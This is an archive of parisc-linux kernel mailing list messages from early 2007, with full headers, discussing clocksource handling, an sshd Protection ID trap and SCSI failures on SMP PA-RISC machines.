> > > Nevertheless, in the meantime John Stultz pointed me to the CONFIG_GENERIC_TIME framework,  and I implemented it that way:
> > > http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=b6de83b58b8b07f057deacdef8a95b6c32d1c4e6
> >
> > This looks pretty good, although setting the rating to 200 for a
> > clocksource you don't want to use seems a bit high (there's a rough
> > rating scale in clocksource.h). Zero is probably what you want to use
> > there.
> >
> > > http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=f70a979c843e4610edfb2a316648fe8ae8718f69
> >
> > This looks to be correct, although as the clocksource infrastructure
> > evolves it looks like we'll be removing the update_callback code in the
> > future. So this is fine for now, but will probably need a reevaluation
> > at some point.
> >
> > Also to avoid jumping between clocksources, I'd keep the initial
> > disqualification that occurs before you register the clocksource
> > (otherwise it will be used for one tick, then be disqualified and you're
> > back to jiffies).
> 
> That's true, but James Bottomley noticed, that time_init() is called before
> we've done system inventory (which detects if we have a SMP box with multiple CPUs),
> so num_online_cpus() would always be one. The update_callback function enables
> us to switch back to jiffies if we actually run on a SMP box.

Ah, yes, right now most clocksources currently register themselves at
module_init time to avoid this sort of thing. Although we might move
that to be a bit earlier, since there is some need for high precision
timeofday earlier at bootup.

> That said, it would be nice to keep the update_callback() functionality or provide another
> nice solution around that problem...

Yea. There will be an alternate solution, hopefully something more
direct that just removes the clocksource and moves on, rather then
polling each tick for change.

thanks
-john



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sshd triggers Protection id trap
Date: Sat, 6 Jan 2007 03:34:22 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <7d01f9f00701051834l4766fe0aya242c808bffbc407__36079.3217471384$1416624252$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624252 22072 80.91.229.3 (22 Nov 2014 02:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:12 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 02:34:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 06 Jan 2007 03:34:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E03B7D9D2;
	Fri,  5 Jan 2007 19:34:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12407-03; Fri, 5 Jan 2007 19:34:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E5227D9D6;
	Fri,  5 Jan 2007 19:34:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12C6E7D9D0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Jan 2007 19:34:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11903-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 Jan 2007 19:34:24 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.175])
	by free.linux.hp.com (Postfix) with ESMTP id 323197D9C9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Jan 2007 19:34:24 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so6205219ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 05 Jan 2007 18:34:23 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=kCIzAKYSzgzF2NaElzGjPUkNXRG7NhD/VIjCqUCqNEf5MgQg6e1DDEYmvZzkpMq8slY0Os+IKoVQS3CGmVNfjfu/dfu4/65mQf2IJiPq5nlDqDtvo7zBIDTMJ1U41vJBjHZ9vH1Hmjq+NLbvuhY+Mw/pZoFuwzJxnkzBbFgEAuY=
Original-Received: by 10.78.185.7 with SMTP id i7mr3394467huf.1168050863004;
	Fri, 05 Jan 2007 18:34:23 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Fri, 5 Jan 2007 18:34:22 -0800 (PST)
Content-Disposition: inline
X-Google-Sender-Auth: 51cad1aa926f8ef2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9zyscTVuTXs9XKyRbmQ5h95KRzdyMsPJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24209

pa-ckers,

I booted git head on my A500. After a couple hours I tried login via
ssh. The client process got stuck after 3 unsuccessful attempts, so I
decided to take a look at the serial console.

sshd triggered a "code 27" (dump pointer follows).

After another attempt I could eventually log in again and thought this
"wasn't much" (so to speak). Then after a few more hours I realized
the loadavg on the machine was abnormally high. A sshd process was
taking 100% of CPU time. I tried to kill it (with SIGTERM first,
twice), and as it wouldn't terminate I issued a SIGKILL, which had the
very nice effect of taking down the whole machine, spitting endless
regdumps on the console (see the last dump of the following log).

The console log / short story is here:
http://www.pateam.org/archive/dumps/sshd-code27

As a side note, I just killed again that very same box trying to build
a kernel: disk was put offline after scsi reset or something (couldn't
gather more data at this point, will do that tomorrow. IIRC kyle is
experiencing that same bug though).

The last console output was a series of:
EXT3-fs error (device sdb6): ext3_find_entry: reading directory #98113 offset 0
sd 3:0:15:0: rejecting I/O to offline device

and then:
printk: 18 messages suppressed.
Buffer I/O error on device sdb5, logical block 821136
EXT3-fs error (device sdb5): ext3_readdir: directory #401876 contains
a hole at offset 0

For the records, this happened as I used (for the first time) ccache
on this particular build. My home folder lives on /dev/sdb6 which is
ext3. Previous kernel build worked fine (not using ccache), kernel
tree being on /dev/sda1 which is pure ext2. Have to wonder whether
SCSI or fs (or something else) is at fault here...

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Fri, 5 Jan 2007 23:10:47 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <5b2e36650701052010t6e196fdl1d413e6bed223ccc__46244.7096164853$1416624252$gmane$org@mail.gmail.com>
References: <7d01f9f00701051834l4766fe0aya242c808bffbc407@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624252 22075 80.91.229.3 (22 Nov 2014 02:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:12 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 04:11:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 06 Jan 2007 05:11:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3C0F7DA3D;
	Fri,  5 Jan 2007 21:10:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12727-10; Fri, 5 Jan 2007 21:10:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D37027DA18;
	Fri,  5 Jan 2007 21:10:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E5737DA00
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Jan 2007 21:10:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12916-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 Jan 2007 21:10:48 -0700 (MST)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.228])
	by free.linux.hp.com (Postfix) with ESMTP id F1E647D9E9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Jan 2007 21:10:47 -0700 (MST)
Original-Received: by wx-out-0506.google.com with SMTP id s13so4519303wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 05 Jan 2007 20:10:47 -0800 (PST)
Original-Received: by 10.90.29.2 with SMTP id c2mr1030438agc.1168056647516;
	Fri, 05 Jan 2007 20:10:47 -0800 (PST)
Original-Received: by 10.90.66.11 with HTTP; Fri, 5 Jan 2007 20:10:47 -0800 (PST)
In-Reply-To: <7d01f9f00701051834l4766fe0aya242c808bffbc407@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bxmpDB5hQEVsAujDZnVpJk1KNzg2NUIG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24210

On 05/01/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> As a side note, I just killed again that very same box trying to build
> a kernel: disk was put offline after scsi reset or something (couldn't
> gather more data at this point, will do that tomorrow. IIRC kyle is
> experiencing that same bug though).

The SCSI problems you're having went away for me when I put it on a UP kernel.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Sat, 6 Jan 2007 12:43:34 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <7d01f9f00701060343q4dea6067yd59df5a65fe35dc2__32909.4825931408$1416624253$gmane$org@mail.gmail.com>
References: <7d01f9f00701051834l4766fe0aya242c808bffbc407@mail.gmail.com>
	<5b2e36650701052010t6e196fdl1d413e6bed223ccc@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624253 22080 80.91.229.3 (22 Nov 2014 02:44:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 11:43:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 06 Jan 2007 12:43:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A71D37DA48;
	Sat,  6 Jan 2007 04:43:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14966-07; Sat, 6 Jan 2007 04:43:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 785007DA4D;
	Sat,  6 Jan 2007 04:43:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAC137DA45
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 04:43:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14814-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 04:43:36 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by free.linux.hp.com (Postfix) with ESMTP id 1E9E57DA43
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 04:43:35 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so6242230ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 06 Jan 2007 03:43:34 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=mCkZSy46aWpFHyfUz+/TXc80pKrO91yL5yYOgyKul/vGuZPP/yq3ajPegPfdKP2etchzJE1cFsW8Onr18BJx6qlGYrL//uXTnn/Zw9BDpx69lX0rV4FLqwATpwY9zvhoSYEKO+zcpOQEjY+KQmgO+TCcGs0croHjjuj60Hl2NCE=
Original-Received: by 10.78.200.3 with SMTP id x3mr7037344huf.1168083814608;
	Sat, 06 Jan 2007 03:43:34 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Sat, 6 Jan 2007 03:43:34 -0800 (PST)
In-Reply-To: <5b2e36650701052010t6e196fdl1d413e6bed223ccc@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 70f290a498b68e7b
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QL6tfW4VPjltCOrBOTU2o9czMTE2Ncl+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24211

On 1/6/07, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> On 05/01/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> > As a side note, I just killed again that very same box trying to build
> > a kernel: disk was put offline after scsi reset or something (couldn't
> > gather more data at this point, will do that tomorrow. IIRC kyle is
> > experiencing that same bug though).
>
> The SCSI problems you're having went away for me when I put it on a UP kernel.

OK, that means that's a SMP issue then. I'm sure you don't mean the
fix is to use a UP kernel? 8^)

Will dig that more today.

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI (?) bug
Date: Sat, 6 Jan 2007 14:22:33 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <7d01f9f00701060522p5b52fe47m290cad4fd0aadf1c__2922.75086180798$1416624253$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624253 22083 80.91.229.3 (22 Nov 2014 02:44:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:13 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 13:22:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 06 Jan 2007 14:22:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27A977DA5D;
	Sat,  6 Jan 2007 06:22:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15858-04; Sat, 6 Jan 2007 06:22:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BA307DA57;
	Sat,  6 Jan 2007 06:22:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43BA37DA53
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 06:22:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15551-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 06:22:39 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by free.linux.hp.com (Postfix) with ESMTP id 6E37B7DA50
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 06:22:39 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so6252489ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 06 Jan 2007 05:22:38 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=tvia8bpBFaeHzLbBEYF/PJwqT/3e0C1A9r50DixdqBgpSTq2GxLXVgcmVqsrOQeMKcPZl4R/QdEWmKyGZeNFc0+t2cDfeaZ9AN9F8w0TGa2+70tl9G/MBoe3kZMU8Myj7mMegNvk/qCvPhsU2JweuxQQOuGiNJasDq4UQ14X5HA=
Original-Received: by 10.78.164.13 with SMTP id m13mr3491670hue.1168089758254;
	Sat, 06 Jan 2007 05:22:38 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Sat, 6 Jan 2007 05:22:33 -0800 (PST)
Content-Disposition: inline
X-Google-Sender-Auth: c2776264e77d7535
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ntiqLT1MZDI4DLHGdWY2VCRxemhmY8GU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24212

pa-ckers

So the scsi bug that struck Jeff, Kyle and myself on A500 eventually
killed my rp3440. Here's the console dump:

http://www.pateam.org/archive/dumps/scsibug.txt

It basically renders SMP boxes useless. The last unaffected kernel was
2.6.18-rc1-pa3.

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SCSI (?) bug
Date: Sat, 6 Jan 2007 14:34:43 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <7d01f9f00701060534s84ba030x796a7126aeac690e__867.426969534968$1416624253$gmane$org@mail.gmail.com>
References: <7d01f9f00701060522p5b52fe47m290cad4fd0aadf1c@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624253 22087 80.91.229.3 (22 Nov 2014 02:44:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:13 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 13:34:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 06 Jan 2007 14:34:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D26E7DA70;
	Sat,  6 Jan 2007 06:34:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17442-01; Sat, 6 Jan 2007 06:34:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B61247DA68;
	Sat,  6 Jan 2007 06:34:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 296A87DA5F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 06:34:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16871-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 06:34:45 -0700 (MST)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.187])
	by free.linux.hp.com (Postfix) with ESMTP id 51B277DA4D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 06:34:45 -0700 (MST)
Original-Received: by nf-out-0910.google.com with SMTP id p77so2906336nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 06 Jan 2007 05:34:44 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=VHi/cAIcv4rGdpmqnDSIaI4gFDbkgS3J1RFFAPiHeJ/eNVUlvu1yUakcWEtIeBjHkOl0niWqtYyhlQy0oQLt/ZT3D/FeuqZXyYk0yv3ukkjYjv5nEcA55g20ECvn0ZjieXj1P4bVvJHW4aSRFGhZP21AXQXmvpw1y0nKrFyKEng=
Original-Received: by 10.78.172.20 with SMTP id u20mr6183392hue.1168090484062;
	Sat, 06 Jan 2007 05:34:44 -0800 (PST)
